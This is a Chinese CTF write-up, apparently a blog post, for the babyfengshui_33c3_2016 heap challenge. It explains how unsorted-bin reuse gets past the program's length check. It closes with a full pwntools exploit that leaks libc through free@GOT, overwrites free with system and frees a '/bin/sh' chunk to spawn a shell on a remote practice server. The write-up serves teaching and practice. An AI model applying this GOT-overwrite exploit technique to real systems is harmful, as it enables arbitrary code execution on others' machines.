【CTF】【PWN】胎教向babyfengshui_33c3_2016题解

10 篇文章 2 订阅
2 篇文章 0 订阅

跳过checksec,我们直接分析程序。
在这里插入图片描述
我这里把这些函数命名为add,delete,display,edit。
先看add。
在这里插入图片描述
就是创建两个chunk,一个的地址存放在s里,一个的地址存放在v2里。
然后把s存在v2指向的地址里,用一个名为ptr的数组存放v2。

在这里插入图片描述
在这里插入图片描述
可以看出来,我们创建了两个chunk。按顺序命名为chunk1和chunk2.我们把这两个chunk看作是一个user的两部分。显然,chunk1存放了user的内容,chunk2存放了user的内容的地址和user的名字。
在这里插入图片描述
其中name的位置在存放内容后面4个字节。
在这里插入图片描述
然后是ptr这个数组,存放了我们创建的user的内容的地址。

在这里插入图片描述
并且每创建一个user,xxxx会加1,可以看作是一个计数器。

然后是edit。
在这里插入图片描述

在这里插入图片描述
然后通过上述函数在ptr[xxxx]这里输入text,长度为length+1。
然后是delete函数:
在这里插入图片描述
display函数可以供我们泄露got表
在这里插入图片描述

重点!
在这里插入图片描述
上述代码如何理解呢?
其实这是一个安全机制,下面根据一张图来解释一下。
在这里插入图片描述
我们首先申请了两个chunk,一个的地址存在v2(我们把他命名为content),一个的地址存在s(我们把它命名为control)。
在这里插入图片描述
然后v2这个地方的前4个字节用来存放s的地址,如上面我作的图,ptr‘指向了s。
在这里插入图片描述
然后4个字节之后的用来存放content。
在这里插入图片描述
update函数的参数实际上是heap的次序,在执行之后数量加1,但是进入update的参数是减了一的,所以相当于没有变化。
在这里插入图片描述
这里的v3指的是text的长度。 (_DWORD *)ptr[xxxx]指向的是control的首部,也就是ptr’,那么 *(_DWORD *)ptr[xxxx]就是ptr‘指向的内容,也就是content。
(char *)ptr[xxxx]-4指向的就是control的首部的地址。
那么这里的意思就是,如果content的长度加上你的text的长度超过了control的首部,就会报错,然后退出程序。
在这里插入图片描述
再把图放上来看一看
在这里插入图片描述
根据上述分析,我们不能直接填充s这一个块,使其溢出达到填充ptr’的目的。
但是,如果我们先创建两个0x80的chunk,然后将其释放。再申请一个0x100的chunk作为content,根据unsortedbin的特性,我们这个0x100的content就会申请到这两个被释放的0x80的位置。但是0x80的control还是会申请到原来的位置。如图:
在这里插入图片描述
中间会有很大一片空间。假设这一片空间大小为x.则我们可以填充x大小的内容。如下图,我们就可以通过s填充到ptr2,因为没有超过ptr ‘的位置。所以相当于绕过了他的检查。
在这里插入图片描述

代码如下:

from os import system
from pwn import *
from LibcSearcher import *

r=remote('node4.buuoj.cn','26638')
#r=process('./a')
elf=ELF('./a')
context.log_level = 'debug'
libc = ELF("./libc-2.23-32.so")
#context.terminal = ['tmux','splitw','-h']


def add(size,name,length,text):
    r.recvuntil("Action: ")
    r.sendline('0')
    r.recvuntil("size of description: ")
    r.sendline(str(size))
    r.recvuntil("name: ")
    r.sendline(str(name))
    r.recvuntil("text length: ")
    r.sendline(str(length))
    r.recvuntil("text: ")
    r.sendline(text)
def delete(idx):
    r.recvuntil("Action: ")
    r.sendline('1')
    r.recvuntil("index: ")
    r.sendline(str(idx))
def show(idx):
    r.recvuntil("Action: ")
    r.sendline('2')
    r.recvuntil("index: ")
    r.sendline(str(idx))
def edit(idx,length,text):
    r.recvuntil("Action: ")
    r.sendline('3')
    r.recvuntil("index: ")
    r.sendline(str(idx))
    r.recvuntil("text length: ")
    r.sendline(str(length))
    r.recvuntil("text: ")
    r.sendline(text)

printf_libc=libc.sym['printf']
system_libc=libc.sym['system']
free_libc=libc.sym['free']
free_got=elf.got['free']

ptr=0x804b080

add(0x80,'qianlei',0x10,'aaaaaa')#0
add(0x30,'qianlei',0x8,'aaaaaa')#1
delete(0)
add(0x100,'qianlei',0x80,'aaaaaa')#2
add(0x10,'qianlei',0x10,'/bin/sh\x00')
payload='a'*0x148+p32(free_got)
edit(2,0x150,payload)
show(1)
r.recvuntil("description: ")
free_addr=u32(r.recv(4))
print(hex(free_addr))

#gdb.attach(r)

offset=free_addr-free_libc
system_addr=system_libc+offset
edit(1,0x8,p32(system_addr))
#gdb.attach(r)

delete(3)


r.interactive()

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值